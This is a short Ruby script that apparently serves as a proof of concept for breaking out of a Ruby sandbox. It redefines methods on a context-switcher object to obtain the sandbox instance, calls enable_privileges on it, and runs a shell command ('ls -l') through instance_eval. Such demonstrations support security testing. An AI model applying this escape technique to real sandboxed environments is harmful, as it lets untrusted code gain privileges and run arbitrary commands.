
a = " 4"
#def a.singleton_method_added(m)ca
#	system("ls -l")
#end

#system("ls -l")
begin
def @context_switcher.singleton_method_added(m)
end
rescue Exception => e
print "Error #{e}\n"
rescue ArgumentError
print "ArgumentError\n"
end


begin
def @context_switcher.a
	@sandbox
end
rescue Exception => e
print "Error #{e}\n"
rescue ArgumentError
print "ArgumentError\n"
end


sandbox = @context_switcher.a
sandbox.enable_privileges

sandbox.instance_eval do
	system("ls -l")
end
